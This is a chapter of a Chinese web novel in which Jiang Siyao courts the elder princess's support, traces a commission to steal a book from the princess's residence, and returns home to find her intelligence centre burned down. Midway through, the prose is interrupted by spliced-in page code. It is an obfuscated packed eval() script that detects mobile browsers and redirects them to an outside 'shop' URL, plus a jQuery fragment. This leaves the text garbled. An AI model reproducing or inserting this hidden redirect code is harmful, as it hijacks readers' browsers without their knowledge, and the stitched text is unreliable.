38. 京城日志03

作品:《白莲花农家女上位记

    祁南鹤抬眸看向下方的女子,不似刚刚那般淡然,眼里有了些许的笑意:“倒是第一次有人问我这个问题。最初我向陛下提出想要参军时,他问也不问就直接拒绝了我的提议,后来在我的再三恳求下,他才终于答应可以让我去京郊的军队里历练。不过陛下并未问我原因,而是默认我想通过参军来淡化我母妃逝去的伤痛。”


    祁南鹤说到这里时发出嗤笑,但姜司遥却发现她在说到母妃俩字时眼神出奇的温柔。


    她接着道:“你问我为什么想去参军,因为我不愿被困在宫中,也不愿被困在公主府,更不愿有朝一日为了南国的和平被派到他国和亲。我不想这一生一直被他人安排,就如我母妃一般,最后却落得个凄惨而死的下场。我想要,命运掌握在我自己的手中。”


    “你的问题我已回答,现在该轮到你回答我的问题了。”


    姜司遥起身走到屋子的正中央,先郑重其事地弯腰行礼,而后挺直脊背目光如炬地看着高位上的女子。


    “长公主,我自小生长在田野间,但幸得爹娘爱护、紫阳县县学的教书先生古道热肠,有幸能在县学旁听四年,学习了许多我曾经未听闻过的知识。但也正因如此,我才知道即使女子和男子一样有能力,但因律法制度也并不能和男子一样科考入仕。”


    姜司遥此时双手抱拳弯腰,郑重其事道:“若长公主有心,我愿助长公主成大事。”


    祁南鹤敛去表情,教人看不出她心中所想:“回去吧,今夜我当你没来过,那些话我也当没听到过。”


    姜司遥紧咬下唇。最终默默地退出房间。


    祁南樾一直站在门外等她,见她出来时情绪低落,便知事情未成。


    他自然而然地牵起她的手:“我去和阿姐说吧。”


    姜司遥摇头,不过她倒并不是不愿意祁南樾帮她,而是因为她知道这件事牵涉甚广,无论对于哪方来说都有流血死伤的危险,不会仅仅因为祁南樾和长公主是一母同胞的亲姐弟,她就会无条件地答应他任何要求。祁南鹤有自己的想法,谁都不能动摇。


    不过祁南鹤最后只是让她离开,并未直接拒绝,说明长公主对此事并不完全反对,但她一定有其他方面的顾虑。


    “我再想想其他办法。”


    姜司遥心中有事,在床上翻来覆去地怎么也睡不着,便穿上衣服来了玄影阁。


    即使从后门进入,也能听到赌坊内人声鼎沸。玄影阁如今刚在京城创建,知道的人虽然不多,但借着青云赌坊的名气,倒也有了一些客人。


    姜司遥来到五楼的书房,翻看近日的委托任务。一共只有十个委托,她很快就翻看到底。


    但其中一个委托却引起了她的注意:偷取长公主府上的《周易》。


    姜司遥蹙眉,又是《周易》?她才刚把《周易》还给长公主,就有人打起了主意。


    不过这也说明了一件事,如今除了《周易》,那些人未能找到其他办法攻击长公主。但如果一旦撕开这个口子,就只会越来越大。


    她看向任务的其他信息,委托人:羽毛,委托时间:六月十六。


    六月十六,长公主回京的第二日,也就是昨日。


    还真是心急。


    任务截止时间:六月二十三。


    委托赏金:十八块金饼。


    姜司遥轻笑,给钱给得这么大方,是真的很心急了。


    她继续向下看,接任务的一共三个人:孤峰、绝弦、般若。


    姜司遥此刻心中已有了对策,她打开门想去四楼叫池玉京,但忽然想起此时池玉京已回小院休息。


    刚准备关上书房门,隔壁房间的门却突然打开,门内露出一张令人惊艳的面孔。


    “小姐。”祝言的双眸水润,面容娇艳欲滴,脸颊上是奇异的红晕。


    自他来到玄影阁后,每日虽比之前在人牙子手底下还要劳累,但吃穿住都比从前好上许多倍。无论是姜司遥、池玉京还是裴玄生都不会无故责骂、殴打他们,他们便也不再需要每日担惊受怕。


    故祝言已不复往昔的骨瘦如柴,如今倒更是面含秋水、雪肌玉骨。


    姜司遥没太注意他不自然的表情,只是记起祝言也是在四楼帮忙:“还没休息吗?”


    祝言想起刚刚在房间里做的事,脸色越发红润。可他只要一想到他的菩萨小姐就在隔壁,和他只有一墙之隔,他就忍不住做出亵渎她的事情来。


    他轻轻摇头。


    “那你来我书房一趟,我有事问你。”


    祝言心中雀跃,他可以和小姐单独待在一起。


    “小姐,我先去洗一下手。”


    姜司遥不疑有他:“快些回来。”


    这句话却被祝言听出了旖旎的情绪,他觉得小姐在勾他,深夜叫他去她的书房,还让他快些回来。


    小姐,也想多和他待一会儿吧?


    姜司遥并不知道眼前少年对她的龌龊心思,初买回他时涂药发生的那点小插曲早被她抛之脑后,她有太多太多事情需要考虑。


    祝言洗完手来到书房,姜司遥并未抬头看他,而是全身心都在桌上的任务册里:“坐吧。”


    祝言落寞地垂下眼睫,小姐怎么不看他呢?


    听到祝言落座的声音,姜司遥将任务册推到他的面前:“《周易》的这个任务是谁办理的?”


    祝言又高兴起来,他有用武之地了:“回小姐,是我。”


    “还记得委托人的样貌吗?”姜司遥的语气没有任何波澜。


    “记得,来委托的是一名女子,身高约莫五尺五寸,身材中等,穿一身青色衣衫,头戴白色帷帽,帷帽上的面纱比一般的厚重,从外侧几乎看不清样貌。但那名女子的声音有些沙哑,偏男声,不知是风寒所致还是天生如此。”


    “如今天气炎热,风寒的可能性较小。”


    姜司遥说到这便沉默了,声音沙哑是一个很显著的特征,而委托任务和长公主有关,那前来委托的女子大概率是宫中的人。


    “你回去休息吧。”


    “小姐,”祝言不愿走,“小姐不在时,我也每日都在勤练武,池小姐都说我进步不少。”


    姜司遥欣慰地笑:“甚好。”


    接着继续低头看任务册,良久,她未听到声音,抬头疑惑地看向祝言:“还有事?”


    祝言直直地盯着她的双眸,从她的瞳孔里看见自己的倒影,只有他一个人的倒影,他感到整个心脏都被填满了。


    祝言起身,眼尾带笑:“小姐早点休息。”


    打开门时,却看见了他最不想见到的人,裴玄生。


    两人视线相撞,裴玄生蹙眉,祝言挡住门并不让他。


    姜司遥抬头看向门口:“裴世子,你来得正好,我有事问你。”


    祝言不得不侧身,裴玄生不再看他,而是眼眸含笑地朝姜司遥走去。祝言关上门,但并未回房间,而是站在门口偷听两人的谈话。


    裴玄生也不等姜司遥说,便自顾自坐下:“老大真是焚膏继晷,这么晚还来玄影阁。”


    姜司遥睨他:“别嘲讽我,我可戴不起这高帽,也别叫我老大。”


    “那叫你什么?”裴玄生的眼角似钩子,想要钩上他池塘里唯一的鱼。


    “叫我名字就行。”


    “司~遥~”


    好端端的两个字硬是被他喊得缱绻婉转,给姜司遥激起一层鸡皮疙瘩。


    她将任务册推给他看:“这任务知道吗?”


    “知道,你也对这任务感兴趣?”


    “委托人你见过吗?”


    “那倒没有。”


    姜司遥将祝言描述的外貌复述了一遍:“所以,宫中可有类似这样特征的人?”


    “声音沙哑的女子?还真没有。几位公主自是不必说,宫女的话如果是天生声音沙哑,一开始就不可能被选进宫中。”


    姜司遥沉默,裴玄生看向她说:“你想帮长公主?是因为祁南樾?”


    “我想帮长公主和祁南樾有什么关系?”


    裴玄生抓住她话里的漏洞:“所以你的确想帮长公主?你接近祁南樾实际上是为了长公主对吗?”


    姜司遥不置可否。


    裴玄生却好似找到了姜司遥住在祁南樾府中真正的理由,不是因为她喜欢他,她只是为了利用他,心中不由得一阵欣喜。


    姜司遥看着他脸上莫名其妙的笑容:“你高兴什么?”


    裴玄生虽尽力收着自己的表情,但也忍不住唇角上勾:“司遥若想知道委托人到底是谁,我可帮你。”


    “你能查到?”


    “能。”


    其实他现在并不确定自己能查到,但他不想错失一个表现自己的机会,让姜司遥觉得他有用的机会。


    “我等你好消息。”


    因着天气来越炎热,皇上带众嫔妃、公主王爷前往避暑山庄,留太子在宫中监国。祁南樾本想让姜司遥一同前去,但她却在临走的前一天收到了紫阳县情报中心的飞鸽传书。


    情报中心被毁,素芝。


    姜司遥将池玉京叫来书房,她接过纸条细看,短短的一行字看得她眉头拧做一团。


    “我立即回紫阳县查看情况。”


    姜司遥伸手挡住她:“不可,这纸条上的信息尚不知是真是假,但无论真假,背后的人都只有一个目的,引蛇出洞。”


    池玉京面色急切:“可我若不回去确认情况,便不能知道到底是真是假。”


    姜司遥放下手:“等素芝,若情况为真,她一定会来京城找我们。”


    “若她半路出意外了呢?”


    “你选的负责人,不会这么容易出意外。”


    其实姜司遥也在赌,但她不能表现出自己的不坚定。无论在什么情况下,她作为玄影阁的最高负责人,都必须面不改色。


    池玉京听到姜司遥如此说,绷直的脊背稍稍放松。


    姜司遥接着道:“若紫阳县的情报中心真的被毁,那里一定还有其他埋伏等着我们,但素芝传出书信,说明她并未被抓;若没被毁,而这张纸条又如此精准的送到玄影阁,那么说明情报中心和素芝都已经被控制。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157820|194597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    其实还有一个最坏的情况,就是情报中心已经被毁,素芝也被控制,对方还知道了玄影阁的位置,所以玄影阁此时更不能没人。


    其实池玉京也想到了,但姜司遥没说,她也就没戳破。


    “玉京,明日我就要去避暑山庄,你和裴玄生守好玄影阁。”


    ......


    寅正时分,天将亮未亮之际,姜司遥骑马背着一个简易的包裹来到城门。


    “小姐。”祝言一见到姜司遥,立即牵着马向她走去。


    姜司遥并未下马,而是看向刚刚打开的城门:“走吧。”


    每日寅正,城门开启。天虽还未完全亮,但早已有不少城外的村民等在城门口,推着卖菜、卖鸡鸭的车等等,只等城门一开,便进城售卖。


    等着出城的人也不少,故姜司遥、祝言两人并未引起城门守卫的注意。


    祝言自昨日姜司遥叫他同她一起去紫阳县开始,他晚上兴奋地就没睡着过,他终于可以和小姐单独待在一起好几日了。


    姜司遥虽然叫池玉京别去,但她放心不下紫阳县的情况,她的爹娘也还在那里,她只能亲自回去查看,即使在可能有陷阱的情况下。


    今日本应该和祁南樾随着皇上一起去避暑山庄的,但她让叶叙紫借口说她感染了会传染人的风寒,不能见人,如今在叶叙紫家中养病,谁都不能见。


    祁南樾着急地在叶叙紫医馆内等了很久,只等到姜司遥的一张纸条:在避暑山庄等我,七日后我便来,阿遥。


    纸条上确实是阿遥的字迹,他很想直接闯入医馆的二楼,去看看他的阿遥到底为什么突然病得如此严重,但若他忤逆了阿遥的意愿,是会被讨厌的。


    他只好照着纸条上说得去做。


    姜司遥之所以只叫祝言陪她去,而没和其他任何人讲,是因为知道的人越多,暴露的风险越大。


    如今敌在暗,她可能在明也可能在暗。但若大张旗鼓地和祁南樾或者裴玄生说明她的想法,那她就几乎是在明了,她并不能保证他们身边没有敌人的细作。


    而池玉京需要守着玄影阁,叶叙紫不会武。


    但祝言是她亲自买回来的,孤儿且几乎没得到过爱,如今将她当作菩萨一般的存在,如今也会一点武,是目前最好不过的选择。


    姜司遥、祝言两人赶在城门关闭前进了紫阳县,找了间客栈入住后,姜司遥直奔自己的家,而祝言按照姜司遥的吩咐向店小二打听赌坊的消息。


    店小二将托盘里的菜放置在房内的桌上,祝言似是不经意地问:“你们这县城可有赌坊,小爷我最近赶路,真是许久未赌,今日这手痒痒的很。”


    店小二压低声音道:“客官,原本是有的,只是前几日不知怎的,那赌坊突然起了一场大火,整座赌坊只剩废墟,还烧死不少人呢。”


    祝言闻言色变,像是被吓到了:“有这么可怕的事?”


    店小二道:“你可说呢,那大火还烧及了旁边的几间铺子,为这事我们县令最近没少操心。”


    祝言道:“那你知道这大火是怎么烧起来的吗?”


    店小二摇头:“听说县令还在调查,好像还没查出头绪来,不过就算查出来,应该也不会让我们百姓知道。”


    祝言不再追问,店小二见这位客官沉默,便退出房间关上房门。


    另一边,姜司遥只偷偷将院门打开一条缝,看见姜春燕、姜秋收两人正半躺在躺椅上,一边在院中纳凉一边吃着西瓜,好不惬意。


    姜司遥放下心来,又极速赶回客栈。


    祝言将打听来的消息和姜司遥复述,姜司遥越听眉头拧得越紧。


    深夜,姜司遥带着祝言偷偷来到赌坊。


    两人都身穿夜行衣,蒙着面罩,趴在离赌坊不远处的屋顶上看。


    目光所及之处,只剩未被烧化的瓦块,凌乱地堆叠在一起。往日深夜时,紫阳县属这处最为热闹,如今只剩凛凛月光洒在那片废墟上。


    未被烧及的店铺,有些店主怕再起一场大火,加之死伤无数,出于忌讳和自身安全考虑便搬离了此处。


    虽是盛夏,这片街道却突兀地生起阵阵凉风。


    姜司遥遏制心中的暴戾和恨意,此时的她比以往任何时候都要冷静:“去城郊。”


    原本那处被她和池玉京重新填土埋上的土坑,如今大剌剌地空着。


    公子家的尸体不见了。


    她又赶去了隋来运府上,刚准备直接闯入他的卧房,却走来两名家丁,她和祝言闪到屋顶上躲着。


    “老爷这都失踪好几日了,你说他会不会......”


    “嘘,这话可说不得,要是被夫人听到,轻则吃板子,重则直接将你投井。”


    先说话的家丁立马噤声,害怕地左看右看,确认周围没人听见他说的话,才放心地和另一名家丁走远。


    姜司遥此时已经大概捋清了事情经过,并且猜到了做这一切的人是谁。


    她庆幸的是当初一直蒙着面罩,隋来运并不知道她真正的长相,自然也不知道她是谁。